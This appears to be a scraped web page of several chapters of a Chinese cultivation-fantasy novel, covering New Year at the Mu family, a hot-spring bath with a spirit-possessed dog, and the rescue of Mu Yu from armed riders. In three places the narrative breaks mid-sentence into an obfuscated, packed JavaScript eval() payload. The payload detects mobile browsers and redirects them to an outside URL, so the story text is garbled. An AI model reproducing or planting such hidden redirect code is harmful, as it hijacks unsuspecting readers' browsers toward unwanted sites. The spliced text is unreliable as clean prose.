慕家夫妇带着慕雨和慕海给亲朋好友家送福字与对联,慕山则要搭慕三叔的车去邻村,给自己岳家送一份。村里能识文断字的人少,能舞文弄墨的更是罕见,慕云的这份礼很能送得出手,年年都极受欢迎。 慕云出门是最晚的。他背了个筐,叫上苍暝,慢慢往村长家去。 这个村子里有三大姓,慕家是人数最少的家族,村长的王家则是人数最多的那个。 慕云寻到村长家中之时,村长正带着小儿子在院子里忙活,一见慕云就连忙招呼他到堂屋坐。 慕云笑着推辞道:“不必了,我就是给叔送福字和对联来,还有旁的事,这便走了。” 然后打开对联,给村长念一遍,再解释下其中寓意。 当然,除了字,还有糖糕、鸡蛋一类的年礼。 村长不住口地直夸慕云写得好,又把东西往小儿子手上一塞,斥道:“你哥进来这么久,你也不知道给你哥倒杯热水,没点眼力劲!” 小儿子吐吐舌头,提着东西跑进屋去。 村长往院门扫一眼,凑近慕云时却是收了笑,低声道:“慕云,昨日王发财被发现死在后山脚下,没见着外伤,大家猜是吃醉了酒,晚上冻死的。” 慕云听得挑挑眉头——这还是村里头一个出事的。 不过,王发财此人是个无赖,爹娘死后就靠到各家耍无赖讨要东西过活。现在他死了,村里人怕是只有暗地里叫好的。 村长轻叹口气:“也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973049|192856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道是不是先前你说那回事。我原想往县衙报,但现在眼看要过年了,报这种晦气事也不好。我和王家几个族老商量了下,决定明日先寻个地暂时埋一埋,待过完上元节再去报。” 慕云略一点头:“叔,这是王家的事,自然是王家拿主意。只让大家都小心些,别独自跑去偏僻处便好。” 村长应一声,见小儿子端着热糖水出来,便停话不再说。 慕云喝过糖水,告辞离去。 之后,他带着苍暝往后山而去。 走到山脚时,果然见有一处脚印颇为零乱,想来就是那个王发财死的地方。 慕云绕过去继续进林子。 苍暝跟在他脚边,突然问:“终于还是到这个村了。你害怕吗?” 慕云:“又不是怕就能躲掉的。对方若真要伤我家人,唯有拼死一搏。” 他答得语气平常,苍暝却能从其中听出一股决绝。 苍暝想到慕云那神奇的炼器手段,倒也不是很担心,下界想来出不了多大危险。何况现在出现也好,他还在这里,能帮总会帮一下。 他就转了个话题:“你要去哪里,那个养平安符的山洞?” 慕云低头看来一眼,笑道:“不,带你去洗澡。” 苍暝一愣。 自从上回洗过一次,慕云就再没给他洗过第二次,一直是苍暝自己注意着尽量不弄脏毛。 慕云拍拍背上的筐:“洗洗干净好过年。我带了炉子给你烘毛,不会着凉的,放心。” 苍暝回想起上回洗澡的确挺舒服,心情微妙地跟着走。 慕云带着苍暝穿过一个山洞,来到一个带着暖春气息的小山谷。 小山谷四周有山壁所挡,拦住不少寒风。 而正当中,还有一池冒着淡淡白气的温泉。 慕云放下背筐,拿出洗澡用具一一摆在温泉边上,然后站起身解衣。 苍暝:“你先洗?” 慕云不解地看他一眼:“当然是一起啊,不然我蹲在池边给你洗,岂不是很累。” 苍暝:“……” 看到慕云脱完衣服又开始解裤腰带,苍暝下意识转过身。 慕云发现了,忍不住笑道:“都是男的,有什么关系。” 苍暝没回身。 慕云也随他,脱好衣服就要去抱白狗。 苍暝察觉到了,侧身闪开一步:“你先下水,我自己下去。” 慕云失笑,没有勉强,自己下了温泉。 苍暝听见水声,又等过片刻,才睁眼看去。 慕云坐在池里,一边给肩膀泼水,一边催他:“快下来,可舒服了。” 苍暝这才走过去,却挑了离慕云有点距离的地方下水。 慕云好笑地向他泼水:“离这么远做什么,你还能自己把毛洗干净了?快过来,我给你好好搓一搓。” 苍暝还在犹豫。 慕云笑眯眯地道:“要不洗干净,今晚开始你就去和慕海睡吧。” 苍暝:“……” 他转身游过去。 慕云接住游到身前的白狗,拿起调好的澡豆倒在毛上,一边搓毛一边含笑表扬:“这才乖。” 感觉到苍暝似乎有点紧张,又找了个话题聊:“对了,上回在离火鉴里面,我听那个人好像是叫你剑尊?你在你们那里的身份是不是很高啊。” 苍暝:“无所谓身份,本事大,自然就地位高。” 慕云好奇地问:“你有家族吗,还是宗门什么的?” 上回的幻境一游,让他对修真界有了一点点认识。 苍暝:“剑宗,剑修门派之最。” 慕云:“听起来很厉害嘛。” 苍暝:“你若能修到筑基,去到修真界,可持那块玉佩到剑宗报我名讳,宗门会照顾你。此处与剑宗相联,并不难寻。你的天赋不合适修剑,不过剑宗也有别的客卿。待我回去,若你还未拜师,我可为你引荐。” 慕云:“你太高看我了,我恐怕没那么好命。倒是你,百八十年后可以再来这里一次,把离火鉴拿走。” 苍暝原本一直闭着眼,听到这句,禁不住睁眼看去。 却对上慕云温和的笑:“家人都走了,我怕是受不了孤零零一个人的寂寞。修炼这条路,不适合我。” . 17.喝酒 苍暝再次经历过一番揉搓,洗得白白净净。 慕云将他放上岸边,用布巾擦干毛发,就将布巾铺在炭炉前,让他趴在上面烘毛。 折腾完苍暝,慕云赶紧缩回烫热的温泉里,给刚才露出去的肩膀和手臂回回暖。 慕云寻个位子坐好,转头向放在池边的东西看去。 就发现自己离那只装酒的大葫芦有点远,伸手拿不到。 慕云在“站起来去拿”和“算了”之间犹豫片刻,又看看苍暝,试探着开口:“苍暝。” 苍暝睁开眼睛,转头看来。 慕云冲他一笑:“可以帮我把酒葫芦拿过来吗?” 苍暝转眼看向酒葫芦——的确离自己更近。 他拱起身子,前往走几步,低头叼起绕在葫芦上的绳子,再走向慕云。 慕云笑得更加灿烂些:“谢谢。” 他一边接过葫芦,一边说:“你要不要尝尝,这是我自己酿的——虽然肯定比不上你们那边的好酒。” 说完,他都没等苍暝回答,拔开塞子就顺势在自己掌心中倒了一些,伸到白狗的嘴下。 苍暝一愣。 慕云是下意识做出这个动作,做完才发现有些不妥,连忙又要收手:“不尝也没事。” 苍暝泡着温泉洗了个澡,其实现在是挺口渴的。不过他知道慕云的筐里没有水,更没有碗,这里唯一的水就是这温泉,因此只得忍耐。 此刻他看着清澈的酒水从慕云手掌间一点点滴落,一时没忍住渴,低头将慕云掌中那点酒舔干净。 这回轮到慕云愣住了——虽然现在眼里看见的是只白狗,可他很清楚,狗的身体里可是个人,还是外表看着冷冰冰的人。 慕云怎么都没想到苍暝竟然会喝自己掌中的酒。 苍暝喝都喝了,干脆主动要求:“再倒些,口渴。” 慕云这才反应过来:“啊……对哦,忘了给你带水!水碗也没带!” 苍暝:“此酒亦可。” 慕云便再倒出几次给他。 苍暝解了渴,重新回到炭炉前烘毛。 慕云把刚才喂酒的手臂放进温泉里回暖,还不自觉地蜷起手指挠挠掌心——刚才被苍暝有一下没一下的触碰舔得痒痒的。 苍暝换个姿势趴下,恰好看到慕云拿着葫芦仰起头,就着葫芦口连饮几口酒。 或许也是渴了倒得有点急,嘴角淌下些许酒液,顺着他下巴流过伸长的颈脖。 慕云连喝好几口,才放下葫芦,发出一声满足的叹息。 清冽的酒香飘荡在温泉之上。 苍暝抽抽鼻子,看着慕云那惬意的模样,突然就觉得——泡着澡喝酒,似乎的确不错。 慕云摇摇手中葫芦,嘀咕:“带少了,下回得多带一只。” 苍暝:“这酒比你在县城里买的好。” 慕云没想到他会搭话,有些诧异地看来一眼,随即笑着回:“我的手艺还行吧。在县城买的那坛是待客用的,我爹是长子,每年过年几个叔叔姑姑都会过来聚一回。他们会带菜,但惯例是由长子备酒。 “外头还不知道我会酿酒,我也没准备往外卖。等慕海再长几年,若是他真不想念书,又没别的想学,我就教他如何酿酒,好歹有个傍身的手艺。日后再使银子通通关系,能卖上酒就不愁日子过不好。” 一说起家人,慕云的神色就温柔得一如最和煦的春风。 苍暝顺着话问:“慕雨呢。” 慕云显然早已想好,流畅答道:“慕雨是女孩,紧要的当然是得给她找个好人家,帮她在夫家站稳脚。不过,若是她不愿嫁人,便一辈子跟着我一同孝顺爹娘好了。反正我也没打算成亲,我养她。” 苍暝:“你把家人都安排妥当,却唯独没有安排自己。” 慕云笑道:“怎么没有——守护好他们就是我对自己的安排。” 又想起来问:“冒昧问一下,你的家人……” 苍暝答得平淡:“我没有家人。” 慕云沉默下来,似乎不知道怎么接话好。 苍暝续道:“要说会牵挂的,便是剑宗。虽达不到如你和你的家人一般,但亦是我之归处。” 慕云轻声念着:“剑宗……剑尊……有个家,挺好的。” ○● 修真界没有“过年”一说,仅仅是记录日子,并不会去庆祝一年的元日。 苍暝在凡人界头一回感受到了什么是“过年”。 除夕这一日,慕家人个个喜气洋洋。全家人一起动手打扫屋子,贴福字、贴对联、贴窗花,慕海连鸡笼都没漏下。 到了傍晚,就迎来了据说是一年当中最隆重的一餐。 天冷,慕家人依旧吃火锅,但菜准备异常丰富。平日里隔三差五换着吃的鸡鸭鱼肉今晚都有,慕云还特地买了羊肉,豆腐、白菜、菌子更是码着满满好几大碟,甚至汤里加的油都比平常多。 一家人围着锅热热闹闹地吃年夜饭,慕爹、慕云和慕山都喝上了酒。 苍暝的垫子摆在慕云和慕海之间,两人一边吃着一边也没忘给他夹菜,碗里一直没空过。 酒足饭饱,众人吃得全身都发了热。 火锅撤下去,慕家夫妇开始包饺子。慕山带着慕雨和慕海在院中玩爆竹,慕云抱着苍暝坐在门边看弟妹们笑闹。 噼噼啪啪的爆竹声中,辞旧岁、迎新年。 慕云估摸着到子时了,把弟妹们都叫进屋。 慕家现在当家的是慕云和慕家夫妇,慕山领着弟妹们给三人拜年,三人也给了孩子们压岁红包。 随后慕家夫妇去厨房端饺子。 慕山走到苍暝面前蹲下,掏出一块布抖开,对他说:“暮色,这是玉珠做的新垫子套,是我们给你的新年礼。” 苍暝微愣,抬头去看。 那垫子套的布料他还有印象,是先前买年货时慕山挑的,耐脏的靛色,中央还用五彩线绣了个圆。 他刚看完这个,慕雨也过来蹲下了,同样掏出一块布:“这是娘和我做的。你那两个垫子套都快洗烂了,新的一年都换上新的。” 也是垫子套,用的是绯色的布料。一角绣着一只小白狗,明显是慕娘的手艺,不过旁边的“暮色”两字应该是慕雨绣的。 苍暝伸出前爪,在两块垫子套上各按一下,再对两人点下头,表示收下与感谢。 下一刻,他就感觉到慕云的手落在背上,顺着毛摸了一下。 慕云接过两块垫子套,一边笑说:“暮色看着比我更像大哥啊。” 慕海则是在旁边急得团团转,抱怨道:“二哥、姐姐,你们要给暮色送东西怎么也不告诉我,我都没准备!那我该送什么好?” 慕云好笑地安慰他:“好了,别转了,一会儿该头晕了。平常你照顾暮色的时候多,不用专程送什么,暮色又不会不高兴。” 慕海可怜巴巴地看着苍暝,直到苍暝也对他点下头,才总算开心起来。 慕家夫妇端来饺子,给孩子们和苍暝都分别舀上几个。 慕娘道:“我在一个饺子里放了颗花生,谁要能吃到,就是我们家在新年里最有福气的那个。” 孩子们本就饿得快,先前又玩闹过,此时都赶紧埋头吃。慕云不算饿,只要了三个饺子,慢条斯理地动筷子。 苍暝的晚饭几乎都是肉,现在就更不饿了。刚刚慕娘才往他碗里放进一个,他就把碗扒过来示意够了。 吃饺子是个好意头,苍暝没有给慕家扫兴,低头叼起那只饺子。 片刻之后,他突然动作一顿。 随即,张嘴将一颗花生吐在碗中,再用爪子拨弄下碗,发出动静通知人。 两旁的慕云和慕海先看过来。 慕海惊喜叫道:“是花生!暮色吃到了花生!” 慕娘温声说:“看来是暮色福气最好,我们都照顾好暮色,沾沾它的福气。” 众人都笑着附和。 苍暝抬头扫过众人幸福的笑脸,目光最后落到慕云身上。 有这样的家人在,也难怪慕云会觉得离了家人太寂寞。 只是有些可惜了那样的好天赋。 ○● 过完年,下一件大事就是慕山的婚事。 慕山体谅张玉珠,想让她在家陪着父母好好过年,因此日子定得有些晚。 二月初二,慕家终于迎来了这桩大喜事。 慕家人天没亮就起来忙活。 按着这里的规矩,家中兄弟都要跟着新郎去接亲。 慕山不仅带上慕云和慕海,还把堂兄弟们全都叫上,最后还跑来拜托苍暝跟着同去。 苍暝这具白狗身躯此时长到成年,一双黑眸中藏着寒光,走动之时雪白的长毛微微飘起,甚是威风,一带出去就给接亲队伍增色许多。 婚事热热闹闹地办了一整天,慕家人个个都高兴得合不拢嘴。 慕云也非常高兴,就喝得有点过量。县城买的酒后劲大,最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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下一刻,苍暝就觉胸前微惊,垂眼看去,发现自己的衣服竟全都没了。 慕云满意点头:“这样才对嘛。” 苍暝抬眼看他:“看来,你已经摸索出离火鉴不少用途。” 慕云笑道:“比如说,这个。” 他抬手随意一点,空中就隐约出现一小团几不可见的气团。 苍暝:“是什么。” 慕云:“你以前不是说,等你回去之时,要顶着结界的压制给身躯灌注灵力,令其快速达到筑基。这就是受一层伤害,穿越结界又会受一层伤害,后果很严重。 “我就想着,能不能把这里面的灵气尽量结集起来,帮你灌注身躯。如此至少可以少一层伤害,说不定你回去之后就不会像先前那个仙君那样。” 苍暝一愣,颇为诧异地注视着那团气团——他完全没想到慕云竟会设法帮自己。 慕云却又接着自嘲:“只是,我尝试之后发现,速度很慢,估计要等你在百八十年后回来拿离火鉴时,才能有效果。” 苍暝注视他片刻,开口说:“其实,有一个法子能让我无伤回去。” 慕云吃惊道:“什么法子?” 苍暝:“离火鉴是仙器,内部自成一个小世界,所以穿过结界也能保住灵气。只要我的神魂藏在此处,由你带着离火鉴去往修真界,想来我就不会受损。当然,你会境界下滑,不过低阶的下滑程度,那边有丹药可以很快恢复。” 慕云听得不禁苦笑:“你对我期许太大了。我说过,这个我做不到。” 苍暝:“你说你不适合修炼,是因为忍受不了孤身一人的寂寞。但,哪怕家人过世,你也可以寻道侣组成一个新的家。修炼之路漫漫,与人结伴同行的道友亦不少。” 慕云:“说得倒简单。你有道侣吗?” 苍暝:“我不惧孤独,自然无需找道侣。” 说完,看慕云闭上眼沉默不语,又想劝他可以多结交一些朋友。不过转念一想,以慕云对“家人”的执着,朋友想来终究达不到那样的牵绊。 苍暝想了想,问:“你为何不愿成亲。” 慕云睁眼看来,忽而一笑:“因为我喜欢男的。” 苍暝又一愣。 慕云唇角扬高:“而且我眼光很高……” 一边说,目光一边打量着苍暝。 苍暝回视着他,淡淡道:“那你该给我穿回衣服。” 慕云哈哈大笑。 . 18.突发 三月,春暖花开。 苍暝就和慕云商量一个自己离开的日子。 这段日子里,慕云陆陆续续地给苍暝介绍了一些凡人界的情况。但慕云自己也没有外出过,最远只去到本县的县城。这个村子还偏僻闭塞,没有外出见过世面之人,又没有关系网,连想打听路都困难。 慕云劝苍暝道:“你真的不考虑再留久一点吗?如今你附在狗身上,自己外出诸多不便,还得自己打猎觅食找水源。你再等一等,我多打听打听,说不准能等到合用的身躯。人总比狗方便得多。” 苍暝却道:“不必了,这里消息太闭塞,再等下去也不知要等到何时。而且听你先前说的,凡人界的人在外面行走也不自由,说不定狗还方便些。” 给苍暝换个人类身躯,这事之前慕云和苍暝就一直在留意着。 冬天冷,人死之后能坚持几日才开始腐败,正是合适的时候。但或许因为这两三年都赶上风调雨顺的好年景,包括附近村子在内,冬天里都只有几个年纪很大的老人过世。 老人的身躯不太适用,虽能够慢慢温养,但耗时太久,还有原本的亲缘关系要处理,很是麻烦。本来上回王发财死了倒是正好,但苍暝过去一试,才知那尸身只有外表和骨架完好,内里全烂了,也不适用。 苍暝听慕云的话音,猜想他大概是觉得,自己一个高阶修士,很难接受野狗的生存方式。但苍暝本就是精铁化灵,对于身为“人”的认知其实有点淡泊,亦不觉得以动物身躯捕猎觅食无法忍受。 苍暝化形至今仅五百年,就从筑基修炼到出窍大圆满,哪怕是全修真界公认的天才,其间的艰辛亦可想见。苍暝在修真界不是没有经历过狼狈的时候,甚至好几次都是九死一生的险境。 修士修炼本就是逆天而行,种种艰难俱是上苍的考验,无论是加诸于身体之上,还是加诸于精神之上,苍暝都能坦然面对与承受。 慕云见他心意已决,叹了口气:“行吧,那到时我送你到县城。另外,我建议你先到州府看看,再找去更大的城。那些地方人多,说不准就能碰到合适的。” 苍暝:“好。” 慕云想了想,又说:“这几日我给你编个白色的绳子,好藏在脖子里。你若有需要找人说话的时候,可以用得上。” 苍暝:“多谢。” 慕云:“但是平安符好像没法藏……” 苍暝:“不需要。若是可以,我倒是想要一样像垫子那样能聚灵气之物。” 慕云蹙着眉头思索片刻:“我尽力试试,也弄成白色绳子好了。” 两人就此说定,慕云就抓紧时间忙活开了。 七日之后,慕云给苍暝取下原本的五彩绳,换上新编好的两条绳环。 白狗身躯毛长,两条绳环被白毛一盖,若不细看都看不出脖子上戴着东西。 苍暝感受了下,有一条绳环带着些许温度,但比不上垫子。 慕云解释:“绳环小,作用肯定没有垫子那么好。而且那垫子是我特意寻的好材料,已经用完了。” 苍暝:“无妨,总比没有强。” 慕云不舍地抚着白狗的柔顺长毛:“天慢慢变热了,要不要给你把毛剪短些?你这一身白如此显眼,捕猎会不会很困难。” 苍暝抖抖耳朵,淡淡道:“我又不是真的狗。” 慕云失笑:“我知道你厉害,但你现在不是不能动用灵力嘛。” 苍暝:“剑修从不畏惧无法动用灵力。先前我的武器是我的剑,现在只是换成爪牙。” 慕云听得好奇:“这能相比?用人的身躯使剑,和用动物的身躯行动,完全不一样吧。” 苍暝:“剑只是修炼与参悟的道具。皮囊与剑一样不过外物,如何使用,一理通、百理明。” 他看慕云听得陷入沉思,又道:“你不修剑,或许不会有这些感悟。” 慕云思索着问:“若是这么说,什么身躯、什么剑,对你都没有区别?甚至可以不用剑。” 苍暝:“只是在凡人界足够。在修真界,我还需要它们才能继续修炼,否则我也不会来到这里。或许,终有一日能摆脱一切束缚,便是所谓的得道飞升吧。我离那个境界尚远。” 慕云接着问:“你究竟是要找什么?” 苍暝沉默了一会儿,在慕云以为他还是不愿说时,才回道:“我也不知它现在是个什么模样。” 慕云:“那你要怎么找。” 苍暝:“遇到了,应当就会知道。” 慕云听他这般说,不禁心中一叹,嘴里只转话道:“等到明日,慕海知道你离开了,一定会很难过。” 苍暝没接话。这段时日他的确在慕家感受到了以前没有感受过的“家的感觉”,但也不可能为此留下。毕竟他本体掉的那块碎石还不知在何处,前路的一切都是未知的。 慕云没等他回应,自己把话接上了:“不过他还小,忘性大。等村里哪家的狗生了崽子,我去抱一只回来给他,他又能开心了。” 苍暝原本觉得不需要自己提醒,只是话都说到了这里,他还是开口道:“自从过年前死过一次人,村子里又一直风平浪静,但你也不可掉以轻心。另外,此处与修真界相连,若是能够,还是尽早搬远一些更安全。” 慕云笑着应道:“嗯,我知道了。只是,不管以后我家会搬到哪里,在我死之前,我都会设法将离火鉴藏在养平安符的那个山洞里。你记得算着时间,到时回来取一下。” 听他这么一说,苍暝突然就切实感受到了凡人生命之短暂,此次一别,很可能就再无相见之日。 苍暝心中难得升起点惜别之情,正想再劝一次慕云努力修炼。 却在这时,慕云脸色骤然一变,一边掀被下炕一边急声道:“慕雨出事了!” 话说完,他已经穿上鞋跑向房门。 苍暝站起身,无声地跃到地面,跟在他身后。 * 慕雨今日和三个小伙伴一同上山挖野菜。 四个年纪相仿的姑娘分别来自三家,其中两个是亲姐妹。她们去的地方不算远,沿着村里田地出去只拐一个弯就到的小山头,是村人常去的挖菜摘果砍柴的地方,又结伴而行,家里人并不担心。 只是,挖到一半之时,有人跑来唤那对亲姐妹。说她们的嫂嫂生孩子发动了,家里叫她们赶紧回去帮忙,两人便匆匆忙忙地先回去。 等慕雨背来的筐差不多装满之时,有个少年郎寻过来——是另一个姑娘的未婚夫。 慕雨看着两人想说话又不好意思的模样,笑道:“我家慕海爱吃这个,我娘等着下锅,我先回了,你们慢慢挖。” 另一个姑娘连忙叫住她:“我也快挖好了,你别一个人走呀,不安全。” 慕雨不在意地摆手道:“没事没事,这里又没多高,下山拐个弯就能看到我家田。我爹和二哥在那呢,也差不多该回了,我过去跟他们一起走。” 一边说,一边快步下山。 说是“拐个弯”,其实准确来说该是两个连着的弯,因为那一小段路恰好夹在两山之间。另一座山脚下还有一条路沿伸出去,顺着走大半天可以到另一个离得有点远的村子。 只是,那条路一边是山上的林子,另一边也是树林。春天的时候就很少有人走,担心山林间饿了一冬的大动物会到路上吃人,宁愿绕远道。 因此,当慕雨听到那个方向有蹄声传来之时,不由得心里一紧,赶紧加快脚步。 但,两条腿的总走不过四条腿的。 很快,慕雨就听见后方传来一道男声:“前面的姑娘,打扰一下。” 慕雨脚下没停,只侧身往回看。 走在她身后的是一头驴,驴背上有个看着和慕山差不多大的少年在控缰,他身前还坐着个和慕海年纪相仿的男孩。 少年催着驴快走几步,赶到慕雨身旁,对她抱拳行个礼。 慕雨警惕地看着他。 少年面带微笑地开口:“打扰姑娘,在下想打听一下此地是何处,我们走迷了路。” 慕雨仔细打量几眼,见两人风尘扑扑、脸带疲色,面相并不凶狠,略略放下点心。但也只回了此地地名,没有多说一个字。 少年露出思索的模样,一边又问:“敢问附近可有村子或是人家,我们想买些吃喝,烦请姑娘指个路。” 慕雨有些犹豫——把陌生人往村子里指,会不会不太好。但她很快又想到——路就一条,另一头眼看着都到山下了,那她指不指,这人都会往村子 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慕雨忍不住边跑边回头看,就见一匹马就快追到自己了,后面的马都围着少年在攻击。 比那匹马更快的是箭。 慕雨眼看着那支箭冲着自己射来。 不过,就在箭尖还差不到一寸就要射中之时,突然莫名其妙地弹开了。 紧接着,骑马的男人过来劈手就是一刀。 但,刀也同样被弹开。 慕雨惊得愣在原地,只反射性握住胸口发热的平安符。 马上的男人再砍几刀,却被震得手臂发麻,见鬼似地瞪着慕雨:“该死,这丫头是什么人,这么邪门!” 就有人吩咐:“先围住她,宰了这边再处理!” 便又有两匹马过来,三人将慕雨团团围住。 慕雨又惊又怕,两手隔着衣服紧紧捏住平安符,只能期待那少年能将这群人打跑——虽然她也知道这几乎不可能,这里能有足足十匹马! 少年虽不知道这边是怎么回事,但见慕雨暂时没事,放下点心,双腿控驴,双手将一杆枪舞得密不透风。 可惜,对方毕竟人多,没一会儿那驴就中了一刀,痛得直叫。 慕雨看驴上的男孩几次险险要中刀,没来由得想起慕海,忍不住起了恻隐之心,喊道:“能靠过来吗?把那孩子给我!我这里安全!” 旁边一个男人劈手又是一刀:“闭嘴!” 这一回,少年被慕雨的声音吸引,看清这边怎么回事。尽管心中吃惊又不解,但慕雨说得对——把人交给她,自己腾出手来全力对敌,才能最终安全。 少年控驴往这边冲。 慕雨只觉得他的枪在瞬间刺出无数寒芒,逼得那些人马不得不闪避。 少年靠到慕雨面前,男孩迅速跳下地。 慕雨赶紧伸手拉他,将他抱在自己怀里。 少年尝试用枪柄向男孩轻戳,果然感觉到了一阵弹力,顿时放下心,调转驴头专心对敌。 慕雨抱着男孩,耳朵听着重新围上来的男人们不断咒骂,眼里看着他们不断尝试砍自己,咬着牙祈祷少年的功夫足够好。 少年的确功夫了得,放手一搏之下,还抢到了对方一匹马。 就在他扎伤四五匹马,击倒六七个人,眼见胜利在望之时,后方却又响起一阵密集的蹄声。 慕雨转眼望去——这回的路上扬起烟尘比刚才还大! 她心中顿时一片绝望——少年也伤得不轻,只拼着一口气在打,此时敌人有增援,哪里还撑得住? 突然,她听到一声沉闷的吠叫。 慕雨心头一跳,转眼望向通往村子那边的弯道。 只见一团白影正疾速奔来,甚至比马还跑得快。 慕雨瞪大了眼,声音中藏不住地惊喜:“暮色!” 眨眼之间,大白狗已经奔到她眼前。 只见那只狗轻盈一跃,竟是跳到与马上之人齐平的高度。 白狗一挥爪,直接抓破一个男人的喉咙。 慕雨下意识抱紧怀中男孩,眼中涌起泪花,激动得声音颤抖:“我们有救了!” . 19.救人 苍暝身体尚且在空中,已然低头叼住一块绑于自己前腿的平安符,扭头稍一用力,将符牌扯下,再一甩头,向慕雨掷去。 慕雨一直盯着苍暝,见此连忙伸出手,正正好好接住飞出来的东西。她低头一看,发现是写着自己名字的平安符,心下更是大定——大哥肯定是知道她有危险了,才让暮色赶紧过来! 苍暝速度极快,甫一落地便转个身,根本不用助跑就能再次高高跃起。 他的下一个目标这次有所准备,赶紧竖刀挡在面前,把脸和脖子要害一起护住。 苍暝抬爪狠狠抓在他心脏处。 厚棉服没能挡住这一击,喷出的鲜血染红一片飞舞的棉絮,那人惨叫着跌下马去。 同时,少年也将最后一个惊慌失措的敌人刺下马。 但,他还没能喘口气,攻击又至。 或许是看这边的自己人都落了马,来增援的人直接开始放箭。 这回还不是一支,而是一片箭雨,显然装备更加精良。 苍暝脖子上挂着平安符,并不惧那些箭。他原想跳起来替那少年挡一挡,却被几匹无主的受惊马所拦。 少年奋力转起枪杆挡箭。可他所骑的马是刚抢来的,缺乏默契,又有旁边的惊马所扰,身上中了两箭,痛得嘶鸣弹跳。 少年本就接近力竭,此时一下没控住马,从马身上跌落。 苍暝在慕雨和男孩的惊叫声中迅速跑过去,矮身在少年身后垫了下,没让他摔实。随后转身咬住少年后衣领,拖着他向近处的山壁靠近。 少年晕头转向一瞬,立刻反应过来,说声“我自己走”,感觉后衣领被松开,就赶紧翻身向山壁跑。等他扶着山壁喘气时,就见那只大白狗以保护之姿挡在自己身前。 慕雨看他们靠向对面山壁,很想过去会合,可惜增援马队已经杀到。 马队训练有素地分作两列,一列举刀来砍慕雨和男孩,另一列砍向苍暝和少年。 当然,每一刀下来都被无形之盾弹开。 众人一边勒马一边七嘴八舌地惊呼。 “怎么回事?”“刀砍不下去?”“见了鬼了!” 前一批中避到路边那些受了重伤还没死的人,也纷纷在说刚才怎么都砍不到慕雨。 这时,苍暝仰起头,发出一声宛如狼嚎的长长嚎叫。 那些人的马顿时受到惊吓,两腿直打颤地僵在原地,不管骑的人怎么催都不敢动。 有人气得跳下马,拎刀走向苍暝,嘴里一边骂骂咧咧:“就一只狗,怕个蛋啊!” 他举刀对着苍暝狠狠砍下,但刀依旧被弹开,气得他跳脚直骂。 其余人里惊吓者有之,生气者有之,胆颤者亦有之。 苍暝甚至听见有人在和身旁同伴小声嘀咕:“不会那么玄吧,真有龙气护着他们?” 少年缩在苍暝身后喘过几口气,恢复了点力气,拿起枪和苍暝打配合。 那群人砍不到他们,反而还被少年刺伤了几人,气得领头人直骂。 苍暝一边护着少年,一边数了数人数,有近三十个。他虽能对付,但少年已经体力不支,没他护着怕是撑不住,眼下只能等慕云赶到再说。慕云身上有符牌,过来护住少年,他就能腾出空攻击。 两边就此僵持了片刻。 苍暝突然动动耳朵。 紧接着,又有一个人影拐过弯道跑来。 下一刻,不管是站在地上、还是骑在马上的敌人,全都猛地眼睛发直,跟着身子一软,一个个全都跌落在地面。 没了人管的众马匹立刻各自寻路跑走,期间还或踢或踩到一些人。 这诡异的情形让少年和慕雨都非常震惊。 苍暝却是转头看向跑来慕云——应该是慕云用离火鉴将这些人都收了魂。 慕云的速度明显比刚才减慢了,额上冒着汗,脸色比纸还要苍白,唇上更是没有一点血色。 苍暝不自觉地蹙起眉——显然,慕云这样用离火鉴不是没有代价。 这时,慕雨也看清慕云的模样,连忙向他跑过去:“大哥!” 慕云抓住她肩头,一边仔细打量一边急声问:“你有没有受伤?” 慕雨摇摇头,伸手扶住他:“我没事。倒是大哥你……” 这时,一道男孩的哭喊之声响起:“表兄!” 两人转头看去,就见那个男孩跪在少年身边,少年已经脸色青白地晕倒在地。 慕云走过去蹲下身。 男孩察觉到人,转头看来,如梦初醒似地连忙抓住慕云一边手臂,哭求道:“救救他!求你救救他!我们的银子都给你!” 慕云看他一眼,没直接答应,只问:“你们可带着伤药。” 少年用的枪不一般,一看便是从小练武,这种人出门通常都会随身带外伤用药。 果然,男孩迅速抹两把眼泪,一边在掏东西一边说:“我表兄身上带得多,我这里也有点。” 慕云查看一下少年身上的伤,发现背后有两道大伤口还在淌血,腿上也有一道长伤口,此外还有好些小伤。 他再接过男孩递过来的药瓶,拔开塞子闻闻,就将少年伤口周围的衣服扯出更大的口子,将瓶内的药粉均匀地往上倒。 一边倒,还一边对说:“慕雨,你去田里把爹和慕山叫来。别声张,最好别引得旁人跟过来。暮色,麻烦你陪一下慕雨。” 慕雨毕竟年纪还小,没经历过什么大事,刚才完全慌了神。现在有慕云在此,她才慢慢恢复镇定,闻言立刻应一声就转身跑走。 苍暝凝神细听,没听到异样的动静,这才跟在慕雨身后。 他跟着慕雨来到慕家田边,慕爹和慕山已经收拾东西,准备和旁边田里的村人一同回村,见到慕雨和苍暝还有些吃惊。 慕雨尽量自然地走近他们,还笑着和旁人打过招呼,又对慕家父子说:“爹、二哥,我们野菜挖得太多,半路上筐子背带断了,你们过去帮忙弄一下。” 慕家父子不疑有他,和别的村人打声招呼,就跟着慕雨往山路走。 直到走出一段距离,慕雨回头确认过没人注意他们,才低声道:“山路上有人受了伤,大哥让你们过去帮忙。” 慕家父子听得一惊,刚要细问,慕雨又急声道:“先别问!大哥说不要声张,过去再说。” 慕家父子对视一眼,便闭上嘴加快脚步。 苍暝护着慕家三人回到慕云身旁。 慕家父子见到躺了一地的人,震惊得一时间都有点不知所措。 慕云道:“慕山,你把这人背回去,路上累了就让爹换一下。慕雨,你先一步赶回家,让娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 